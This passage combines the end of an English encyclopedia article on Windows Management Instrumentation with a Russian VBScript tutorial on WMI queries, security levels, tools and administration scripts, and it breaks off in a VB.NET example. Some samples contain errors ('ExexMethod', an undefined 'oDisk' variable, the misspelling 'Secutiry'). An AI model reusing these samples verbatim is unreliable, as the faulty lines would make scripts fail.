    string wlanCard = (string)mo["InstanceName"];
    bool active;
    if (!bool.TryParse((string)mo["Active"], out active))
    {
       active = false;
    }
    byte[] ssid = (byte[])mo["Ndis80211SsId"];
}

The MSNdis_80211_ServiceSetIdentifier WMI class is only supported on Windows XP and Windows Server 2003.

WMI driver extensions

[edit]

The WMI extensions to WDM provide kernel-level instrumentation such as publishing information, configuring device settings, supplying event notification from device drivers, and allowing administrators to set data security through a WMI provider known as the WDM provider. The extensions are part of the WDM architecture; however, they have broad utility and can be used with other types of drivers as well (such as SCSI and NDIS).

The WMI Driver Extensions service monitors all drivers and event trace providers that are configured to publish WMI or event trace information. Instrumented hardware data is provided by way of drivers instrumented for WMI extensions for WDM. WMI extensions for WDM offer a set of Windows device driver interfaces for instrumenting data within the driver models native to Windows, so OEMs and IHVs can easily extend the instrumented data set and add value to a hardware/software solution. The WMI Driver Extensions, however, are not supported by Windows Vista and later operating systems.[12]

  • Open Management Infrastructure
  • ANT catalog § WISTFULTOLL
  1. ^ «WMI Redistributable for Windows NT». microsoft.com. Archived from the original on 24 February 2010. Retrieved 4 May 2018.
  2. ^ «WMI Redistributable for Windows 95 and Windows 98». microsoft.com. Archived from the original on 23 April 2007. Retrieved 4 May 2018.
  3. ^ «A Description of the Windows Management Instrumentation (WMI) Command-Line Utility (Wmic.exe)». Archived from the original on 2007-05-02.
  4. ^ a b «WMIC: WMI command-line utility». Microsoft. 8 March 2023. Archived from the original on 14 October 2023.
  5. ^ «Windows Vista Client Manageability». microsoft.com. Archived from the original on 3 March 2016. Retrieved 4 May 2018.
  6. ^ «WMI providers supported in Windows 10». Microsoft. 25 June 2017. Archived from the original on 30 September 2018. Retrieved 30 September 2018.
  7. ^ «System.Management Namespace». .NET Library. Microsoft. 7 February 2025 – via Microsoft Learn.
  8. ^ «WMI query language (WQL) via PowerShell». ravichaganti.com. 1 May 2011. Archived from the original on 12 October 2017. Retrieved 4 May 2018.
  9. ^ White, Steven (3 November 2023). «winmgmt». Windows App Development. Microsoft – via Microsoft Learn.
  10. ^ D’Vine, Rhonda. «Ubuntu – Error». packages.ubuntu.com. Archived from the original on 2 May 2017. Retrieved 4 May 2018.
  11. ^ «The WMI Diagnosis Utility — Version 2.2». Download Center. Microsoft. 24 April 2015. Archived from the original on 6 August 2020.
  12. ^ «The Windows Vista and Windows «Longhorn» Server Developer Story: Application Compatibility Cookbook». msdn2.microsoft.com. Archived from the original on 21 April 2008. Retrieved 4 May 2018.
  • Snover, Jeffrey (26 June 2006). «Improved Support for WMI». PowerShell Blog. Microsoft – via Dev Blogs.
  • Official website
  • WMI Code Creator

  • Что такое WMI
  • Классы, события и безопасность WMI
  • Средства работы с WMI
  • Язык запросов WMI
  • Использование WMI в сценариях
    • Подключение к WMI
    • Подключение методом локатора
    • Подключение методом моникера
    • Использование объекта репозитория
    • Асинхронное использование объектов репозитория
    • Работа с объектами и коллекциями объектов, полученных в результате запросов
    • Примеры сценариев на VBScript
  • Использование WMI в программах
    • Пример программы на VB.NET
  • Использование специальных средств для написания запросов
    • Scriptomatic
    • WMI Code Creator
  • Заключение

Windows Management Instrumentation (WMI) в дословном переводе — это инструментарий управления Windows. Если говорить более развернуто, то WMI — это одна из базовых технологий для централизованного управления и слежения за работой различных частей компьютерной инфраструктуры под управлением платформы Windows. Технология WMI — это расширенная и адаптированная под Windows реализация стандарта WBEM, принятого многими компаниями, в основе которого лежит идея создания универсального интерфейса мониторинга и управления различными системами и компонентами распределенной информационной среды предприятия с использованием объектно-ориентированных идеологий и протоколов HTML и XML.

В основе структуры данных в WBEM лежит Common Information Model (CIM), реализующая объектно-ориентированный подход к представлению компонентов системы. CIM является расширяемой моделью, что позволяет программам, системам и драйверам добавлять в нее свои классы, объекты, методы и свойства.

WMI, основанный на CIM, также является открытой унифицированной системой интерфейсов доступа к любым параметрам операционной системы, устройствам и приложениям, которые функционируют в ней.

Важной особенностью WMI является то, что хранящиеся в нем объекты соответствуют динамическим ресурсам, то есть параметры этих ресурсов постоянно меняются, поэтому параметры таких объектов не хранятся постоянно, а создаются по запросу потребителя данных. Хранилище свойств объектов WMI называется репозиторием и расположено в системной папке операционной системы Windows:

%SystemRoot%\System32\WBEM\Repository\FS

Так как WMI построен по объектно-ориентированному принципу, то все данные операционной системы представлены в виде объектов и их свойств и методов.

Все классы группируются в пространства имен, которые иерархически упорядочены и логически связаны друг с другом по определенной технологии или области управления. В WMI имеется одно корневое пространство имен Root, которое в свою очередь имеет 4 подпространства: CIMv2, Default, Secutiry и WMI.

Классы имеют свойства и методы и находятся в иерархической зависимости друг от друга, то есть классы-потомки могут наследовать или переопределять свойства классов-родителей, а также добавлять свои свойства.

Свойства классов используются для однозначной идентификации экземпляра класса и для описания состояния используемого ресурса. Обычно все свойства классов доступны только для чтения, хотя некоторые из них можно модифицировать определенным методом. Методы классов позволяют выполнить действия над управляемым ресурсом.

Каждому экземпляру класса можно обратиться по полному пути, который имеет следующую структуру:

[\\ComputerName\NameSpace][:ClassName][.KeyProperty1=Value1][,KeyProperty2=Value2]…]
где
 ComputerName - имя компьютера
 NameSpace - название пространства имен
 ClassName - имя класса
 KeyProperty1=Value1, KeyProperty2=Value2 - свойства объекта и значения, по
   которым он идентифицируется.

Пример обращения к процессу с именем «Calc.exe», который запущен на локальной машине:

\\.\CIMv2:Win32_Process.Name="Calc.exe"

Экземпляры классов могут генерировать события, к которым можно подписываться. При наступлении события WMI автоматически создает экземпляр того класса, которому соответствует это событие. Такой механизм удобно использовать для выполнения определенной команды при наступлении определенного события, то есть следить за состоянием объектов операционной системы.

Общая безопасность в WMI реализуется на уровне операционной системы, а дополнительная политика безопасности основана на уровнях пространств имен и протокола DCOM. То есть если пользователь не имеет права делать какое-то действие через операционную систему, он не сможет это сделать и через WMI. Если же пользователю дано какое-то право в операционной системе, то это еще не означает, что это право будет и в WMI, так как в WMI действуют дополнительные параметры безопасности на уровне пространств имен.

Каждый объект операционной системы имеет свое описание безопасности (SD) со своим списком доступа (ACL), в котором перечислены идентификаторы пользователей (SID) и их привилегии. Каждое пространство имен может иметь собственное SD со своим ACL, где пользователям могут быть назначены разрешения на чтение данных, выполнение методов, запись классов и данных и другие. Данные о дополнительных разрешениях хранятся в репозитории WMI. Отдельные классы из пространств имен не имеют собственных описаний безопасности, они наследуют их от своего пространства имен.

По умолчанию администратор компьютера имеет полные права на использование WMI, а остальные пользователи могут лишь вызывать методы, считывать данные и записывать в репозиторий экземпляры классов провайдеров WMI.

Для доступа к инфраструктуре WMI используется протокол DCOM, через который пользователь подключается к WMI. Чтобы определить, какие права будут у подключившегося пользователя, используется механизмы олицетворения и аутентификации протокола DCOM.

Уровни олицетворения могут принимать следующие значения:

Anonymous Анонимный WMI-объект не может получить информацию о пользователе — доступ по такому типу не предоставляется
Identify Идентификация WMI-объект запрашивает маркер доступа пользователя — доступ предоставляется только локально
Impersonate Олицетворение WMI-объект имеет такие же права, какие имеет пользователь — рекомендуемый уровень для выполнения команд на удаленном компьютере
Delegate Делегирование WMI-объект может обратиться от имени пользователя к другому WMI-объекту — нерекомендуемый уровень, так как команды можно выполнять удаленно через цепочку из нескольких компьютеров

Уровни аутентификации (подлинности) могут принимать следующие значения:

None Отсутствует Проверка подлинности отсутствует
Default По умолчанию Стандартные настройки безопасности, которые задаются компьютером-целью команды
Connect Подключение Проверка только во время подключения к компьютеру-цели команды, проверка в ходе работы отсутствует
Call Вызов Проверка подлинности при каждом запросе к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется
Pkt Пакет Проверка подлинности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется
PktIntegrity Целостность пакета Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки пакетов подписываются, но содержимое не шифруется
PktPrivacy Секретность пакета Проверка подлинности и целостности всех пакетов к компьютеру-цели команды, заголовки и содержимое пакетов подписываются и шифруются

wmimgmt.msc — оснастка консоли управления MMC для настройки WMI на локальном компьютере.

Administration via WMI - wmimgmt

Оснастка консоли управления MMC для настройки WMI

winmgmt.exe — консольная утилита управления WMI локального компьютера.

Administration via WMI - winmgmt

Консольная утилита управления WMI

wbemtest.exe — графическая утилита для взаимодействия со структурой WMI на локальном или удаленном компьютере.

Administration via WMI - wbemtest

Графическая утилита для взаимодействия со структурой WMI

wmic.exe — консольная утилита для взаимодействия со структурой WMI на локальном компьютере.

Administration via WMI - wmic

Консольная утилита для взаимодействия со структурой WMI

mofcomp.exe — компилятор MOF-файлов для расширения структуры WMI, управления библиотекой классов WMI и восстановления репозитория.

Administration via WMI - mofcomp

Компилятор MOF-файлов для расширения структуры WMI

Для обращения к объектам WMI используется специфический язык запросов WMI Query Language (WQL), который является одним из разновидностей SQL. Основное его отличие от ANSI SQL — это невозможность изменения данных, то есть с помощью WQL возможна лишь выборка данных с помощью команды SELECT. Помимо ограничений на работу с объектами, WQL не поддерживает такие операторы как DISTINCT, JOIN, ORDER, GROUP, математические функции. Конструкции IS и NOT IS применяются только в сочетании с константой NULL.

Запросы WQL обычно применяются в скриптах, но их также можно протестировать в программе Wbemtest и в консольной утилите Wmic (утилита wmic не требует написания ключевого слова SELECT и полей выборки)

Общий синтаксис запроса WQL выглядит так:

SELECT свойства FROM имя_класса WHERE свойство оператор значение

Например:

' Выбрать все значения класса Win32_Product и вывести все его свойства
SELECT * FROM Win32_Product
' Выбрать все значения класса Win32_Product и вывести свойство Version
SELECT Version FROM Win32_Product
' Выбрать значения класса Win32_Product, где свойство Description равно
' "Microsoft Office", и вывести свойство Version
SELECT Version FROM Win32_Product WHERE Description = "Microsoft Office"

Как видно из примеров, оператор FROM — это источник (класс), коллекцию экземпляров которого нужно получить, а оператор WHERE — это фильтр в запросе.

В скриптах для подключения к WMI используются два метода: с использованием локатора (SWbemLocator) и с использованием моникера (WinMgmts). Метод локатора позволяет установить соединие с пространством имен от имени определенной учетной записи. Метод моникера разрешает подключаться к WMI только от имени текущей учетной записи.

Использование этого метода необходимо, когда в сценарии нужно явно задать имя и пароль учетной записи для подключения к WMI. Объект SWbemLocator создается так:

Set mSWbemLocator = CreateObject("WbemScripting.SWbemLocator")

Подключение к репозиторию WMI производится с помощью метода ConnectServer:

mSWbemServices = mSWbemLocator.ConnectServer([ServerName], [NameSpace], [User], _
 [Password], [Locate], [Authority], [SecurityFlags], [WbemNamedValueSet])
где
 ServerName - имя компьютера (если не указано, то локальный компьютер),
 NameSpace - пространство имен (если не указано, то пространство по умолчанию),
 User - имя пользователя в формате Домен\УчетнаяЗапись (если не указано, то текущий
   пользователь),
 Password - пароль указанного пользователя,
 Locate - код локализации (если не указано, то текущий язык),
 Authority - имя домена, если он не указан в параметре User (если не указано, то
   текущий домен),
 SecurityFlags - время ожидания подключения,
 WbemNamedValueSet - контекстная информация для провайдера, который используется
   для запроса.

Безопасность объекта указывается с помощью свойства Security_, в котором указывается уровень олицетворения и привилегии.

Пример использования локатора:

' Создание объекта
Set mSWbemLocator = CreateObject("WbemScripting.SWbemLocator")
' Задание уровня аутентификации (6 - секретность пакетов)
mSWbemLocator.Security_.AuthenticationLevel = 6
' Задание уровня олицетворения (3 - олицетворение)
mSWbemLocator.Security_.ImpersonationLevel = 3
' Добавление привелегии (разрешение завершать работу)
mSWbemLocator.Security_.Privileges.AddAsString("SeShutdownPrivilege")
' Подключение к репозиторию
Set mSWbemServices = mSWbemLocator.ConnectServer(".", "Root\CIMv2",,,,, 128)

Моникер — это строка, задающая путь к классу WMI, экземпляр которого должен быть создан. Моникер состоит из обязательного префикса «winmgmts:», необязательных настроек безопасности, необязательного пути к требуемому классу:

Set mSWbemServices = GetObject("winmgmts:[{SecurityOptions}!]\\[Server]\[NameSpace]")

Пример использования моникера:

' Подключение к пространству имен по умолчанию локального компьютера
Set mSWbemServices0 = GetObject("winmgmts:")

' Подключение к указанному пространству имен удаленного компьютера
' с указанием метода олицетворения
Set mSWbemServices1 = GetObject("winmgmts:{impersonationLevel=Impersonate}!" & _
 "\\MyComputer\Root\CIMv2")

' Подключение к указанному объекту локального компьютера
' с указанием метода олицетворения и привилегий
Set mSWbemServices2 = GetObject("winmgmts:" & _
 "{impersonationLevel=Impersonate, (Shutdown, RemoteShutdown)}!" & _
 "\\.\Root\CIMv2:Win32Process.Handle=4")

' Подключение к указанному объекту локального компьютера
Set mSWbemServices3 = GetObject("winmgmts:\\.\Root\CIMv2:Win32Process.Handle=4")

В результате подключения к WMI получается объект SWbemServices, который обладает определенными свойствами и методами. Наиболее часто используемые из них — это Get, ExecQuery, ExecMethod.

Метод Get используется для возвращения определения класса или экземпляра управляемого ресурса:

Set mObject = Get([ObjectPath],[Flags],[WbemNamedValueSet])
где
 ObjectPath - путь к объекту WMI,
 Flags - опции,
 WbemNamedValueSet - контекстная информация для провайдера.

Пример использования метода Get:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2")
' Получение экземпляра класса с заданным свойством
Set mProcess = mSWbemServices.Get("Win32_Process.Handle=4")

Метод ExecQuery используется для выполнения запросов на языке WQL:

Set mObject = ExecQuery(Query,[QueryLanguage],[Flags],[WbemNamedValueSet])
где
 Query - текст запроса,
 QueryLanguage - язык запроса (всегда равен "WQL")
 Flags - опции,
 WbemNamedValueSet - контекстная информация для провайдера.

Пример использования метода ExecQuery:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2")
' Получение всех экземпляров класса с заданным свойством
Set mProcesses = mSWbemServices.ExecQuery("SELECT * FROM Win32_Process WHERE Handle = 4")

Метод ExecMethod используется для выполнения метода указанного объекта:

Set mObject = ExecMethod(ObjectPath, MethodName,[InParams],[Flags],[WbemNamedValueSet])
где
 ObjectPath - путь к объекту WMI,
 MethodName - имя метода,
 InParams - входные параметры для метода,
 Flags - опции (всегда равно нулю),
 WbemNamedValueSet - контекстная информация для провайдера.

Пример использования метода ExecMethod:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2")
' Получение указателя на класс
Set mProcess = mSWbemServices.Get("Win32_Process")
' Создание коллекции входных параметров для метода
Set mInParams = mProcess.Methods_("Create").InParameters.SpawnInstance_
mInParams.CommandLine = "notepad.exe"
' Выполнение метода
Set mOutParams = mSWbemServices.ExexMethod("Win32_Process", "Create", mInParams)

Указанные выше методы работают в синхронном и полусинхронном режиме, то есть программа или сценарий не выполняет следующую команду или запрос до тех пор, пока не получит ответ от текущего запущенного метода.

Аналогично синхронным методам WMI позволяет выполнять команды асинхронно, то есть не дожидаться результатов выполнения очередного запроса и продолжать работу сценария или программы. Названия таких асинхронных методов имеют окончание «Async», а работа с ними почти не отличается от обычных методов, но должны быть использованы два обязательных параметра: ссылка на специальный объект «слив событий» и контекстная информация объекта.

Объект «слива событий» (от английского «sink» — раковина) создается следующим образом:

Set mSink = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_")
где
 Sink_ - префикс для функций.

Наиболее часто используемые события, обрабатываемые таким «сливом» асинхронных методов, — это OnObjectReady и OnCompleted. Как можно догадаться из названий событий, первое происходит, когда возвращается очередной объект, порожденный асинхронным запросом. Второе происходит после полного завершения асихронного метода. Событие OnObjectReady выдает на выход объект, который был запрошен асихронной операцией, а событие OnCompleted — код ошибки или 0.

Пример использования асинхронного метода:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2")
' Создание объекта "слива событий"
Set mSink = WScript.CreateObject("WbemScripting.SWbemSink", "Sink_")
' Флаг завершения асинхронного метода
mCompleted = False
' Вызов асинхрнонного запроса
mSWbemServices.ExecQueryAsync mSink, "SELECT * FROM Win32_Process"
' Зацикливание скрипта до окончание запроса (здесь можно выполнять любые другие операции)
' Как только асинхронный метод вернет какое-нибудь событие, то будет вызвана
' соотвествующая процедура, которая описана ниже, а работа основного скрипта на время
' прервется
While Not mCompleted
   WScript.Sleep 1000
Wend
' Процедура обработки события возврата очередного объекта
Sub Sink_OnObjectReady(mWbemObject, mWbemAsyncContext)
   WScript.Echo mWbemObject.Name
End Sub
' Процедура обработки события завершения запроса
Sub Sink_OnCompleted(mResult, mWbemErrorObject, mWbemAsyncContext)
   If mResult = 0 Then
       WScript.Echo "Запрос успешно завершен"
   Else
       WScript.Echo "Запрос завершен с ошибкой"
   End If
   mCompleted = True
End Sub

Рассмотренные выше методы возвращают объекты и коллекции объектов, которые обладают своими методами и свойствами. Информацию о всех свойствах и методах, поддерживаемых конкретным объектом, можно получить с помощью такого скрипта:

' Объект mObject получен методом Get
' Получение свойств и их значений
For Each mCurrentProperty in mObject.Properties_
   Wscript.Echo mCurrentProperty.Name & ": " & mCurrentProperty.Value
Next
' Получение методов
For Each mCurrentMethod in mObject.Methods_
   Wscript.Echo mCurrentMethod.Name
Next

Коллекция объектов всегда обладает общими для всех экземпляров свойствами, наиболее часто используемые свойства — это Count и Item.

Count — это свойство коллекции объекта, которое содержит количество элементов коллекции.

Item(mObjectPath) — это метод, который возвращает один объект коллекции, соответствующий указанному пути.

Как уже выяснилось, объект имеет свои методы и свойства, которые соответствуют классу данного экземпляра, но помимо классовых свойств и методов всем объектам присущи универсальные, которые оканчиваются на символ подчеркивания, чтобы отличать их от классовых. Наиболее часто используемые универсальные методы — это ExecMethod_ и Put_.

ExecMethod_(mMethod, mWbemInParamsm, mFlags, mWbemNamedValueSet) — это метод для исполнения классового метода у используемого объекта.

Put_(mFlags, mWbemNamedValueSet) — это метод для записи измененных свойств объекта в репозиторий WMI и в реальный объект.

Пример использования метода Put_ — изменение метки диска:

' Подключение к пространству имен
Set mSWbemServices = GetObject("winmgmts:\\.\Root\CIMv2")
' Получение объекта логического диска
Set mDisks = mSWbemServices.ExecQuery("SELECT * FROM Win32_LogicalDisk WHERE DeviceID = 'C:'")
' Перебор коллекции возвращенных объектов
For Each mDisk in mDisks
   ' Смена метки диска
   oDisk.VolumeName = "System"
   ' Запись изменений
   oDisk.Put_
Next

Пример использование класса CIM_DataFile для переименования файлов:

' Целевой компьютер
mComputer = "."
' Целевая папка
mFolderPath = "C:\Temp"
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2")
' Получение колекции файлов целевой папки
Set mFileList = mSWbemServices.ExecQuery ("ASSOCIATORS OF {Win32_Directory.Name='" _
 & mFolderPath & "'} WHERE ResultClass = CIM_DataFile")
' Обработка коллекции файлов
For Each mCurrentFile In mFileList
   ' Формирование нового имени файла
   mNewName = mCurrentFile.Drive & mCurrentFile.Path & mCurrentFile.FileName _
     & "." & mCurrentFile.Extension & ".old"
   ' Переименование файла
   errResult = mCurrentFile.Rename(mNewName)
   ' Формирование отчета о переименовании
   if errResult = 0 then
       mResultText = mResultText & "File " & mCurrentFile.Name & " renamed to " _
         & mNewName & vbCrLf
   else
       mResultText = mResultText & "Error at renaming " & mCurrentFile.Name & _
         " file" & vbCrLf
       errResult = 0
   end if
Next
' Вывод отчета о переименовании
Wscript.Echo(mResultText)

Аналогично приведенному примеру можно совершать и другие действия с файлами, так как класс CIM_DataFile поддерживает методы: копирование, удаление, переименование, NTFS-сжатие, смена разрешений, смена владельца.

Пример использования классов оборудования компьютера для получения информации о количестве портов USB 2.0 и используемых USB-устройствах:

iCounter = 0
' Целевой компьютер
mComputer = "."
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2")
' Получение колекции USB-контроллеров
Set mControllerList = mSWbemServices.ExecQuery("Select * From Win32_USBController")
' Обработка USB-контроллеров
For Each mCurrentController in mControllerList
   If Instr(mCurrentController.Name, "Enhanced") Then
       iCounter = iCounter + 1
   End If
Next
' Формирование отчета о USB-контроллерах
mResultText = "USB 2.0 Ports count: " & iCounter & vbCrLf & vbCrLf
' Получение колекции USB-устройств
Set mDeviceList = mSWbemServices.ExecQuery ("Select * From Win32_USBControllerDevice")
' Обработка USB-устройств
For Each mCurrentDevice in mDeviceList
   mDeviceName = mCurrentDevice.Dependent
   mDeviceName = Replace(mDeviceName, Chr(34), "")
   mDeviceNames = Split(mDeviceName, "=")
   mDeviceName = mDeviceNames(1)
   ' Получение свойств каждого устройства по его идентификатору
   Set mUSBDeviceList = mSWbemServices.ExecQuery("Select * From Win32_PnPEntity " _
     & "Where DeviceID = '" & mDeviceName & "'")
   ' Обработка свойств устройства
   For Each mCurrentUSBDevice in mUSBDeviceList
       ' Формирование отчета о USB-устройствах
       mResultText = mResultText & mCurrentUSBDevice.Description & vbCrLf
   Next    
Next
' Вывод результата
Wscript.Echo(mResultText)

Пример использования класса свойств принтеров для получения информации о настройках принтеров:

' Целевой компьютер
mComputer = "."
' Задание констант кодов типов доступа к текстовому файлу
Const ForReading = 1
Const ForWriting = 2
Const ForAppending = 8
' Создание объекта оболочки и получение текущей директории
Set oShell = CreateObject("wscript.shell")
sWorkDirectory = oShell.CurrentDirectory
' Создание объекта файловой системы и файла
Set oFSO = CreateObject ("Scripting.FileSystemObject")
Set mResultFile = oFSO.OpenTextFile(sWorkDirectory & "\PrinterList.txt", ForWriting, True, 0)
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2")
' Получение колекции локальных принтеров
Set mPrinterList = mSWbemServices.ExecQuery("SELECT * FROM Win32_Printer WHERE Local = True")
' Запись заголовка в файл
mResultFile.WriteLine("Name;Comment;Location;ShareName;DriverName;PortName;")
' Обработка каждого принтера
For Each mCurrentPrinter in mPrinterList
   mResultFile.WriteLine(mCurrentPrinter.Name & ";" & mCurrentPrinter.Comment & ";" & _
     mCurrentPrinter.Location & ";" & mCurrentPrinter.ShareName & ";" & _
     mCurrentPrinter.DriverName & ";" & mCurrentPrinter.PortName & ";")
Next
' Закрытие файла
mResultFile.Close

Пример использования класса свойств сетевого адаптера для изменения конфигурации сетевой карты — перевода с DHCP на статическую конфигурацию:

' Целевой компьютер
mComputer = "."
' Новые сетевые параметры задаются конкретными значениями
' Аналогичные параметры задаются значением "The same"
' Пустые парамеры задаются значением ""
mNewIPAddress = "The same"
mNewSubnetMask = "The same"
mNewDNSServer = "The same"
mNewDefaultIPGateway = "The same"
mNewWINSPrimaryServer = "The same"
mNewWINSSecondaryServer = "The same"
' Рабочие массивы
Dim mDNSServerList()
Dim mDefaultIPGatewayList()
Dim mGatewayMetricList()
Dim mNewDNSServerList()
Dim mNewDefaultIPGatewayList()
Dim mNewGatewayMetricList()
' Подключение к пространству имен целевого компьютера
Set mSWbemServices = GetObject("winmgmts:\\" & mComputer & "\Root\CIMv2")
' Получение коллекции адаптеров с указанным IP-адресом
Set mAdapterList = mSWbemServices.ExecQuery ("Select * From Win32_NetworkAdapter")
' Получение MAC-адреса адаптера локального адаптера
For Each mCurrentAdapter In mAdapterList
   If InStr(LCase(mCurrentAdapter.NetConnectionID), "локальн") > 0 _
     Or InStr(LCase(mCurrentAdapter.NetConnectionID), "local") > 0 Then
       mMACAddress = mCurrentAdapter.MACAddress
       mCaption = mCurrentAdapter.Caption
       Exit For
   End If
Next
' Получение коллекции параметров адаптера с указанным MAC-адресом
Set mAdapterConfigList = mSWbemServices.ExecQuery _
 ("Select * From Win32_NetworkAdapterConfiguration WHERE MACAddress = '" _
 & mMACAddress & "'")
' Получение текущих параметров сетевого адаптера с указанным MAC-адресом
For Each mCurrentAdapterConfig In mAdapterConfigList
   ' IP-адрес
   If IsNull(mCurrentAdapterConfig.IPAddress) = False Then
       For Each mCurrentIPAddress In mCurrentAdapterConfig.IPAddress
           mIPAddress = mCurrentIPAddress
           Exit For
       Next
   End If
   If mNewIPAddress = "The same" Then mNewIPAddress = mIPAddress
   mNewIPAddressList = Array(mNewIPAddress)
   ' Маска подсети
   If IsNull(mCurrentAdapterConfig.IPSubnet) = False Then
       For Each mCurrentIPSubnet In mCurrentAdapterConfig.IPSubnet
           mSubnetMask = mCurrentIPSubnet
           Exit For
       Next
   End If
   If mNewSubnetMask = "The same" Then mNewSubnetMask = mSubnetMask
   mNewSubnetMaskList = Array(mNewSubnetMask)
   ' DNS сервера
   If IsNull(mCurrentAdapterConfig.DNSServerSearchOrder) = False Then
       iCounter = 0
       For Each mCurrentDNSServer In mCurrentAdapterConfig.DNSServerSearchOrder
           Redim Preserve mDNSServerList(iCounter)
           mDNSServerList(iCounter) = mCurrentDNSServer
           iCounter = iCounter + 1
       Next
   End If
   If mNewDNSServer = "The same" Then
       For iCounter = 0 To UBound(mDNSServerList)
           Redim Preserve mNewDNSServerList(iCounter)
           mNewDNSServerList(iCounter) = mDNSServerList(iCounter)
       Next
   Else
       For iCounter = 0 To UBound(Split(mNewDNSServer,";"))
           Redim Preserve mNewDNSServerList(iCounter)
           mNewDNSServerList(iCounter) = Split(mNewDNSServer,";")(iCounter)
       Next
   End If
   ' Шлюзы
   If IsNull(mCurrentAdapterConfig.DefaultIPGateway) = False Then
       iCounter = 0
       For Each mCurrentDefaultIPGateway In mCurrentAdapterConfig.DefaultIPGateway
           Redim Preserve mDefaultIPGatewayList(iCounter)
           mDefaultIPGatewayList(iCounter) = mCurrentDefaultIPGateway
           Redim Preserve mGatewayMetricList(iCounter)
           mGatewayMetricList(iCounter) = iCounter + 1
           iCounter = iCounter + 1
       Next
   End If
   If mNewDefaultIPGateway = "The same" Then
       For iCounter = 0 To UBound(mDefaultIPGatewayList)
           Redim Preserve mNewDefaultIPGatewayList(iCounter)
           mNewDefaultIPGatewayList(iCounter) = mDefaultIPGatewayList(iCounter)
           Redim Preserve mNewGatewayMetricList(iCounter)
           mNewGatewayMetricList(iCounter) = iCounter + 1
       Next
   Else
       For iCounter = 0 To UBound(Split(mNewDefaultIPGateway,";"))
           Redim Preserve mNewDefaultIPGatewayList(iCounter)
           mNewDefaultIPGatewayList(iCounter) = Split(mNewDefaultIPGateway,";")(iCounter)
           Redim Preserve mNewGatewayMetricList(iCounter)
           mNewGatewayMetricList(iCounter) = iCounter + 1
       Next
   End If
   ' WINS сервера
   If IsNull(mCurrentAdapterConfig.WINSPrimaryServer) = False Then
       mWINSPrimaryServer = mCurrentAdapterConfig.WINSPrimaryServer
   End If
   If mNewWINSPrimaryServer = "The same" Then
       If IsNull(mCurrentAdapterConfig.WINSPrimaryServer) = True Then
           mNewWINSPrimaryServer = ""
       Else
           mNewWINSPrimaryServer = mWINSPrimaryServer
       End If
   End If
   If IsNull(mCurrentAdapterConfig.WINSSecondaryServer) = False Then
       mWinsSecondaryServer = mCurrentAdapterConfig.WINSSecondaryServer
   End If
   If mNewWinsSecondaryServer = "The same" Then
       If IsNull(mCurrentAdapterConfig.WINSSecondaryServer) = True Then
           mNewWinsSecondaryServer = ""
       Else
           mNewWinsSecondaryServer = mWINSSecondaryServer
       End If
   End If
   Exit For
Next
' Формирование сообщения по текущей и по будущей конфигурациям сетевого адаптера
mInfoMessage = "Network adapter: " & mCaption & vbCrLf _
 & "MAC address: " & mMACAddress & vbCrLf _
 & "Current configuration:" & vbCrLf _
 & vbTab & "IP address: " & mIPAddress & vbCrLf _
 & vbTab & "Subnet mask: " & mSubnetMask & vbCrLf _
 & vbTab & "Default Gateway: " & Join(mDefaultIPGatewayList,";") & vbCrLf _
 & vbTab & "DNS servers: " & Join(mDNSServerList,";") & vbCrLf _
 & vbTab & "WINS Primary Server: " & mWINSPrimaryServer & vbCrLf _
 & vbTab & "WINS Secondary Server: " & mWINSSecondaryServer & vbCrLf _
 & "New configuration:" & vbCrLf _
 & vbTab & "IP address: " & mNewIPAddress & vbCrLf _
 & vbTab & "Subnet mask: " & mNewSubnetMask & vbCrLf _
 & vbTab & "Default Gateway: " & Join(mNewDefaultIPGatewayList,";") & vbCrLf _
 & vbTab & "DNS servers: " & Join(mNewDNSServerList,";") & vbCrLf _
 & vbTab & "WINS Primary Server: " & mNewWINSPrimaryServer & vbCrLf _
 & vbTab & "WINS Secondary Server: " & mNewWINSSecondaryServer & vbCrLf _
 & vbCrLf & "Please confirm the changes" & mNewWINSSecondaryServer & vbCrLf
' Окно подтверждения изменения настроек сетевого параметра
mChangeFlag = MsgBox(mInfoMessage, vbOKCancel, "Network card settings change")
If mChangeFlag = vbOK Then
   ' Установка нового IP адреса
   For Each mCurrentAdapterConfig in mAdapterConfigList
       errEnable = mCurrentAdapterConfig.EnableStatic _
         (mNewIPAddressList, mNewSubnetMaskList)
       errGateways = mCurrentAdapterConfig.SetGateways _
         (mNewDefaultIPGatewayList, mNewGatewayMetricList)
       errWINS = mCurrentAdapterConfig.SetWINSServer _
         (mNewWINSPrimaryServer, mNewWinsSecondaryServer)
       errDNS = mCurrentAdapterConfig.SetDNSServerSearchOrder _
         (mNewDNSServerList)
       Exit For
   Next
   ' Pезультат операции
   mInfoMessage = "Operation result:" & vbCrLf _
     & "IP address error code: " & errEnable & vbCrLf _
     & "Gateway error code: " & errGateways & vbCrLf _
     & "DNS error code: " & errDNS & vbCrLf _
     & "WINS error code: " & errWINS & vbCrLf
Else
   mInfoMessage = "The operation is canceled"
End If
Wscript.Echo(mInfoMessage)

Ресурсы WMI доступны не только через скрипты, к ним можно обращаться из других языков программирования и даже из программ.

Существует два способа обращения к WMI через Visual Basic.NET.

Первый способ берет свое начало из скриптов VBS. Он использует обращение к инстументу winmgmts, как это делалось в методе моникера:

oComputerSystem = GetObject("winmgmts:[Options!]WMINameSpace).ExecQuery(WQLQuery)

Пример запроса модели комьютера (консольное приложение)

Module TestModule
   Sub Main()
       ' Объявление переменных
       Dim oWMIObject As Object
       Dim oComputerSystem As Object
       Try
           ' Подключение к WMI
           oWMIObject = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
           ' Выполнение запроса
           oComputerSystem = oWMIObject.ExecQuery("Select * from Win32_ComputerSystem")
